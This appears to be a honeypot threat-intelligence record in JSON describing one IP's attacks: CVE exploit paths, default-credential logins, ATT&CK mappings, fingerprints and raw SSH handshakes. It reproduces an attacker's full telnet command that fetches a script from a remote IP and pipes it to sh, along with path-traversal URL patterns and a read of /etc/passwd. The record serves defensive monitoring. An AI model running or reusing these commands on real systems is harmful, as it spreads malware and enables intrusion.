{"ip":"196.189.236.67","data_as_of":"2026-10-24T05:50:26+00:00","observed":true,"total_events":255,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":"residential ISP","why":["45 request(s) matched a known exploit path.","Requests with a body (POST, PUT, PATCH or DELETE) were seen, which carries a payload.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 3,058,717 bytes, which is sustained payload delivery.","Counts include 2 interactive session(s) as well as first-packet events.","Interactive sessions: 1 interactive session(s) ran commands after logging in."],"engagement":{"level":"payload","label":"Sustained payload","detail":"3,058,717 bytes sent","bytes_sent":3058717,"session_seconds":14,"persistent":false},"basis":"combined"},"first_seen":"2026-09-29T10:14:42","last_seen":"2026-10-23T18:26:51","events_24h":1,"events_7d":5,"interactive_sessions":2,"interactive_sessions_24h":0,"interactive_sessions_7d":1,"interactive_protocols":[{"protocol":"telnet","sessions":1},{"protocol":"ssh","sessions":1}],"geo":{"country_code":"ET","country_name":"Ethiopia","region":"Oromiya","city":"Nazrēt","lat":8.5551,"lon":39.2569,"asn":24757,"org":"Ethio Telecom"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as24757","label":"Ethio Telecom","category":"isp","url":"https://www.peeringdb.com/asn/24757"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","kev_date_added":"2022-02-15"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-41773","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","kev_date_added":"2021-11-03"}],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":2,"first_seen":"2026-10-15T18:55:53","last_seen":"2026-10-22T13:04:41","verdicts":[{"verdict":"credential","sessions":1},{"verdict":"post-exploitation","sessions":1}],"personas":[{"persona":"linux-ubuntu@20.04","sessions":2}],"services":[{"protocol":"telnet","port":23,"sessions":1},{"protocol":"ssh","port":2222,"sessions":1}],"logins":[{"username":"admin","password":"admin","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-22T13:04:41"},{"username":"admin","password":"admin","password_sent":true,"service":"telnet","outcome":"success","tries":1,"last_seen":"2026-10-15T18:55:53"}],"commands":[{"ts":"2026-10-15T18:55:53","session_id":"21cf366e-0338-4cbb-863b-b1fe7b2bb04c","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"bash","exit_code":0},{"ts":"2026-10-15T18:55:53","session_id":"21cf366e-0338-4cbb-863b-b1fe7b2bb04c","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ\n0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg\nAAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9\nCp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=\n-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no\nUserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -s -F sshcfg -i key.ppk dlr@217[.]60[.]102[.]5:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh telnet >/dev/null 2>&1; else (wget --no-check-certificate -qO- [https]://217[.]60[.]102[.]5/sh || curl -sk [https]://217[.]60[.]102[.]5/sh) | sh -s telnet; fi; rm -rf sshcfg key.ppk out_sh; echo -e \"\\x72\\x65\\x64\\x74\\x61\\x69\\x6C\\x5F\\x62\\x6F\\x74\\x5F\\x74\\x65\\x6C\\x6E\\x65\\x74\\x5F\\x6F\\x6B\"","exit_code":0},{"ts":"2026-10-15T18:55:53","session_id":"21cf366e-0338-4cbb-863b-b1fe7b2bb04c","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"shell","exit_code":127},{"ts":"2026-10-15T18:55:53","session_id":"21cf366e-0338-4cbb-863b-b1fe7b2bb04c","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"sh","exit_code":0},{"ts":"2026-10-15T18:55:53","session_id":"21cf366e-0338-4cbb-863b-b1fe7b2bb04c","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"enable","exit_code":0},{"ts":"2026-10-15T18:55:53","session_id":"21cf366e-0338-4cbb-863b-b1fe7b2bb04c","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"system","exit_code":127},{"ts":"2026-10-15T18:55:53","session_id":"21cf366e-0338-4cbb-863b-b1fe7b2bb04c","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"cat /etc/passwd","exit_code":0},{"ts":"2026-10-15T18:55:53","session_id":"21cf366e-0338-4cbb-863b-b1fe7b2bb04c","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"","exit_code":0},{"ts":"2026-10-15T18:55:53","session_id":"21cf366e-0338-4cbb-863b-b1fe7b2bb04c","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"id","exit_code":0}],"downloads":[{"url":"[https]://217[.]60[.]102[.]5/sh","host":"217[.]60[.]102[.]5","sessions":1,"first_seen":"2026-10-15T18:55:53","last_seen":"2026-10-15T18:55:53","virustotal":{"sha256":"917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c","status":"known","malicious":12,"total":75,"name":""}}],"files":[{"sha256":"43728fbfb98bb39ff61a2db0fc2905bd6937997062b05b9ab8b186fdee18c09a","name":"key.ppk","size":399,"mime_type":"text/plain","kind":"shell-write","times":1,"first_seen":"2026-10-15T18:55:53","last_seen":"2026-10-15T18:55:53","virustotal":null},{"sha256":"00b6f15c2274420217ed3098a9f5f00545bf1793d7a324fd18a7809cbbf5b12b","name":"sshcfg","size":54,"mime_type":"text/plain","kind":"shell-write","times":1,"first_seen":"2026-10-15T18:55:53","last_seen":"2026-10-15T18:55:53","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":2},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":1},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":2},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":1}]},"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":245,"sessions":0},{"port":2222,"proto":"tcp","label":"SSH-alt","count":4,"sessions":1},{"port":22,"proto":"tcp","label":"SSH","count":3,"sessions":0},{"port":2375,"proto":"tcp","label":"Docker","count":3,"sessions":0},{"port":23,"proto":"tcp","label":"Telnet","count":0,"sessions":1}],"fingerprints":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b503035e4857f0dc50323c4731f29e3732c9f00bbef5832cd674b7257e42450430eefe201fdb3d140fd805e9a8b9d1859f0745b49eefa7325a8a04c4c3ab2c1cf552539300247a7a130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f0035010005484a4a000000170000ff01000100000a000c000acaca11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04edcaca00010011ec04c0b30512b61bcd76f5a7a3c48a97c189d7008e4be13126dc58ca46ab3f76749bbab485f546f82a8b161b24d64a399fd6501f65a25dc101edaa64c684778764359b9b8611b14fa8483972d59206e034206159c75344857752484b98b5324a0241b5bce73a17aa8977e450435c67d905226409570391aa98f4be85a0770fa8590cd8aaae2042d9942259287c32959818b79ac3f3cee90ab55e70541ae46b92e3181bd7144e348049339603f5167cb8bfc7f598826c4f905b67e6848307305f8f971f7ca1c2ae99485f15bf2efa2992822704db8c8185bfec542ba264bd00182effe4897b86462e65c694677ac3c104beb246ba181cc5417fc48c2072b21842606afeb4157f02b8c5dcc167763923005723412078e2acec6878c0622792d85aaefccdfdb67741746fa4d2599e0cc5725c8f03539eecf922c4d39e49228ec7071453b556264a8d696699dd05a7c451912e750b9a24989fc928b5695c27f8665535b086230be7500873970e0afc190a3515c38b2c2f1c1c0ba5a5a0e991ce925836c97f83342b418aade4120fed12290a308347ab3092f723dde8bf4a7ba1c0979f48e84dcb6aac145c8281b1aa25613ba576c55dba121096237ad144314890ac50740fb7c9e2d98f67778262a89d14f19006268367c28762e09ee1ea248f82b00dc4cc9681b0eb88a74619aa05a04fe1f315630431922305b9275f794bc39ca7582b681be180821d71894f3261b3cc89ded7a30f808ebf713f9ed98fd9c14db2435b3bd78298a470706823f0aaa47dd5a61edaaedc27b0b81a0c9f1c8b39690190132169930aab538f826a0a25e53af039c2353009dbfacde3f78fa044351ad60c0f7169e2f487aad4adf6f36fef32c072fb6526059ef73750e8bb99b5d1a3468546cfd5a914e8333ae2cebfb0158835bd38441b6ca928ffd568abebac68ac4e01e6524fe544f4a168d8c21ae31a130d9886166889a4399ca046374ce341c94199e09879a07aa4af69ae83bb1fc68843a5d8a86976c9b8c4b2c5d86abff90e6704878cd3b656760ebd215b92a95e888aaa488c49b773acf099bf0883943081afe47a4d934799e54a9524438a2eb6502f2317a7982bb5d761e7bb2368247888481e47b5b4f4946319256367d7b7e2da8b3589929c3179d9709562a91a68503718783f5d6c00207c15ea10b561c09737aa4829d19eaf8846fffca81a9062da67bfbaf5270223bc2bea3ae14106574930cc456bad658c4fe4a3f9210dd1b54043178a2b646906e259fa161685364ac2f67775f11b8754cd17956ecaabbcf564a617dba420513b055b1d3e6823dd901b6019b3f7fc3b79fb7dd0c69606285b85c094e9536bbaaca52f552b1c7a76a320863f411819e9ab9c5203bf4c193ad06bdd5805ecba20578cb513c630ffd0395d3688dda19912d7950ed37e9d8305d476022fc20fde9b3dd0d1803008525014695cc24ad4fa9cd4c71cc77b94dcf36cb67b43b8017fd0679601b117a8f774816206cd22be0128c5e13024e7d4bf877025980a9857c52913a96d2ef80574a8974318c7a42c3713c734c9e28b9d6c8834c208f6591cf88ba729b61f98cb3f7d123aa80364dd548c4f06bd0e44b91db937a7302e3f316162cbb5c9c02da740b0a70fca691f6ec0d252c8e48f3e83f7296dbd84cfe5a4a39a64c85e5b9f209c319439926a117632c5933ae7cd1cae1be88a70153ecbe570001d0020db0442984c0acc83501c8fece852844be2a696647af770a0d8083a36ee714f35002d00020101002b0007067a7a030403030a0a0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"],"interactive":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":154,"19532158b559096b89b1a5f7d17175b2":187,"b11cun050_00040035_dd905059":284,"b11cuq070_00050835_c0b30902":228},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-09-29","count":49,"sessions":0},{"date":"2026-10-01","count":49,"sessions":0},{"date":"2026-10-07","count":49,"sessions":0},{"date":"2026-10-08","count":50,"sessions":0},{"date":"2026-10-09","count":1,"sessions":0},{"date":"2026-10-11","count":1,"sessions":0},{"date":"2026-10-15","count":1,"sessions":1},{"date":"2026-10-16","count":50,"sessions":0},{"date":"2026-10-19","count":2,"sessions":0},{"date":"2026-10-20","count":1,"sessions":0},{"date":"2026-10-21","count":1,"sessions":0},{"date":"2026-10-22","count":0,"sessions":1},{"date":"2026-10-23","count":1,"sessions":0}],"recent_events":[{"timestamp":"2026-10-23T18:26:51","port":2222,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-libssh2_1.11.1\r\n\u0000\u0000\u0005�\u000b\u0014���fA0Kv�\u001e�KL�x:\u0000\u0000\u0001hcurve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com\u0000\u0000\u0001fecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-256,rsa-sha2-512-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com\u0000\u0000\u0000�chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc\u0000\u0000\u0000�chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc\u0000\u0000\u0000�hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96\u0000\u0000\u0000�hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000x\"0\u001d�~��|n�","payload_hex":"5353482d322e302d6c6962737368325f312e31312e310d0a000005e40b14f2cde06641304b76ce1e824b4cb3783a00000168637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d7368613235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6469666669652d68656c6c6d616e2d67726f7570312d736861312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d736861312c6578742d696e666f2d632c6b65782d7374726963742d632d763030406f70656e7373682e636f6d0000016665636473612d736861322d6e697374703235362c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d736861322d3235362c7273612d736861322d3531322d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e7373682e636f6d2c7373682d7273612c7373682d7273612d636572742d763031406f70656e7373682e636f6d000000c563686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d2c6165733132382d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d6374722c6165733235362d6362632c72696a6e6461656c2d636263406c797361746f722e6c69752e73652c6165733139322d6362632c6165733132382d6362632c617263666f75723132382c617263666f75722c336465732d636263000000c563686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d2c6165733132382d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d6374722c6165733235362d6362632c72696a6e6461656c2d636263406c797361746f722e6c69752e73652c6165733139322d6362632c6165733132382d6362632c617263666f75723132382c617263666f75722c336465732d6362630000009d686d61632d736861322d3235362c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861312d39362c686d61632d6d64352c686d61632d6d64352d39360000009d686d61632d736861322d3235362c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861312d39362c686d61632d6d64352c686d61632d6d64352d3936000000046e6f6e65000000046e6f6e65000000000000000000000000007822301dfd7eeba97c6e88","method":"","user_agent":"","ja3":"","session":"9a232b96-14d4-4653-a13d-cd17c5b1d46c","seq":1,"duration_ms":210,"bytes_in":1536,"bytes_out":14,"enriched":{"digest":"8578bfa38fda7d43","label":"SSH","strings":["SSH-2.0-libssh2_1.11.1","fA0Kv","hcurve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nis…","fecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256…","chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes2…","hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@open…","none","nonex\"0"],"iocs":{"domains":["libssh.org","openssh.com"]}}},{"timestamp":"2026-10-21T19:28:54","port":22,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-libssh2_1.11.1\r\n\u0000\u0000\u0005�\u000b\u0014b�\u0001�F\u001fx�*��6�\\W�\u0000\u0000\u0001hcurve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com\u0000\u0000\u0001fecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-256,rsa-sha2-512-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com\u0000\u0000\u0000�chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc\u0000\u0000\u0000�chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc\u0000\u0000\u0000�hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96\u0000\u0000\u0000�hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000]�\u0005���aSQ\u000f�","payload_hex":"5353482d322e302d6c6962737368325f312e31312e310d0a000005e40b1462dd0185461f78b02adad336c05c57a700000168637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d7368613235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6469666669652d68656c6c6d616e2d67726f7570312d736861312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d736861312c6578742d696e666f2d632c6b65782d7374726963742d632d763030406f70656e7373682e636f6d0000016665636473612d736861322d6e697374703235362c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d736861322d3235362c7273612d736861322d3531322d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e7373682e636f6d2c7373682d7273612c7373682d7273612d636572742d763031406f70656e7373682e636f6d000000c563686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d2c6165733132382d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d6374722c6165733235362d6362632c72696a6e6461656c2d636263406c797361746f722e6c69752e73652c6165733139322d6362632c6165733132382d6362632c617263666f75723132382c617263666f75722c336465732d636263000000c563686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d2c6165733132382d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d6374722c6165733235362d6362632c72696a6e6461656c2d636263406c797361746f722e6c69752e73652c6165733139322d6362632c6165733132382d6362632c617263666f75723132382c617263666f75722c336465732d6362630000009d686d61632d736861322d3235362c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861312d39362c686d61632d6d64352c686d61632d6d64352d39360000009d686d61632d736861322d3235362c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861312d39362c686d61632d6d64352c686d61632d6d64352d3936000000046e6f6e65000000046e6f6e65000000000000000000000000005dbc05edc1866153510feb","method":"","user_agent":"","ja3":"","session":"85650d8b-802d-4bd9-9810-d1be4992384d","seq":1,"duration_ms":208,"bytes_in":1536,"bytes_out":14,"enriched":{"digest":"8e238656c73e1246","label":"SSH","strings":["SSH-2.0-libssh2_1.11.1","hcurve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nis…","fecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256…","chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes2…","hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@open…","none","none]"],"iocs":{"domains":["libssh.org","openssh.com"]}}},{"timestamp":"2026-10-20T16:48:27","port":2222,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-libssh2_1.11.1\r\n\u0000\u0000\u0005�\u000b\u0014�?ֲ1/\u0013�.���2 �\u0000\u0000\u0001hcurve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com\u0000\u0000\u0001fecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-256,rsa-sha2-512-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com\u0000\u0000\u0000�chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc\u0000\u0000\u0000�chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc\u0000\u0000\u0000�hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96\u0000\u0000\u0000�hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000��\u001b\u001cRE�\t��\u0016","payload_hex":"5353482d322e302d6c6962737368325f312e31312e310d0a000005e40b14d43fd6b2312f138e2e8283ef327f20b800000168637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d7368613235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6469666669652d68656c6c6d616e2d67726f7570312d736861312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d736861312c6578742d696e666f2d632c6b65782d7374726963742d632d763030406f70656e7373682e636f6d0000016665636473612d736861322d6e697374703235362c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d736861322d3235362c7273612d736861322d3531322d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e7373682e636f6d2c7373682d7273612c7373682d7273612d636572742d763031406f70656e7373682e636f6d000000c563686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d2c6165733132382d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d6374722c6165733235362d6362632c72696a6e6461656c2d636263406c797361746f722e6c69752e73652c6165733139322d6362632c6165733132382d6362632c617263666f75723132382c617263666f75722c336465732d636263000000c563686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d2c6165733132382d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d6374722c6165733235362d6362632c72696a6e6461656c2d636263406c797361746f722e6c69752e73652c6165733139322d6362632c6165733132382d6362632c617263666f75723132382c617263666f75722c336465732d6362630000009d686d616